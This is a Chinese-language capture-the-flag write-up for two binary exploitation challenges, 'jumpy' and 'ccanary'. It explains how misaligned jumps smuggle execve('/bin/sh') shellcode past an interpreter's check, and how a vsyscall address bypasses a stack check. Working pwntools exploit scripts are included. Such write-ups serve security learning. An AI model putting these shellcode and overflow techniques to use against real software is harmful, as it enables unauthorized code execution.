jumpy
给出程序是个解释器,设计愿意只能写入:
对于 jmp 会用一个列表保存跳转的地址,运行 shellcode 之前会检查这些地址的汇编是不是限制的那三个。
漏洞地方在 mov eax, xxx
写入数值的时候没有检查数字,可以写入长度是 4 字节。搭配上 jmp 利用错位可以执行任意汇编。下面是错位例子:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21
| jmp 1; mov eax,0xb8; mov eax,0x90f63148
mov eax,xxxx +-----------+ jmp 1 mov eax,0xb8| | +---+ +-----------+ | | | | | | eb 01 b8 b8 00 00 00 b8 xx xx xx xx | ^ | | +---------+ (jump)
mov eax,0xb8000000 xxxx
|
第一个 mov 值需要是 0xb8 ,让 jmp 指向的地址汇编是 mov eax,xxxx 才能绕过检查,同时需要将 shellcode 分割成一块块执行。主要需要处理的是 /bin/sh 写入,字符串长度 7 字节,利用 shl 移位将字符串写入寄存器之后压栈,然后将地址提取到 rdi 中
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39
| from pwn import *
context(os='linux', arch='amd64') context.terminal = ['tmux','sp','-h'] context.log_level = 'debug'
p = process('./jumpy') def message(data): p.sendlineafter("> ", "jmp 1") p.sendlineafter("> ", "moveax 184") p.sendlineafter("> ", "moveax " + str(u32(data)))
message(asm('''mov bx, 0x68''')) message(asm('''shl rbx, 16''')) message(asm('''mov bx, 0x732f''')) message(asm('''shl rbx, 16''')) message(asm('''mov bx, 0x6e69''')) message(asm('''shl rbx, 16''')) message(asm('''mov bx, 0x622f''')) message(asm('''push rbx; mov rdi, rsp'''))
message(asm('''xor rsi, rsi; nop''')) message(asm('''push rsi; pop rdx; nop; nop'''))
message(asm('''xor rbx, rbx; nop''')) message(asm('''add rbx, 0x3b''')) message(asm('''push rbx; pop rax; syscall'''))
p.sendlineafter("> ", "a")
p.interactive()
|
ccanary
保护全开:
存在一个栈溢出,可以覆盖 v6 控制调用的函数:
一开始准备将 v6 覆盖到 system(‘cat flag’) ,但是程序会在写入完成后加上一些东西,无法通过覆盖低字节绕过 pie ,也没有办法泄露出 pie 基地址。
只能想办法将 v7 覆盖成非零值通过 if 判断。
将 v6 覆盖成 vsyscall 的系统调用,该区域的四个系统调用不受 pie 和 alsr 的影响而随机。使用系统调用 sys_time(0xc9) ,可以视为 ret
v7 可以不需要额外写入非零值,因为程序输入会在 payload 后面加上额外东西
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
| from pwn import * context.log_level = 'debug' context.terminal = ['tmux','sp','-h']
p = process("./ccanary")
payload = b'a'*0x1f payload += p64(0xffffffffff600400)
p.sendline(payload)
p.interactive()
|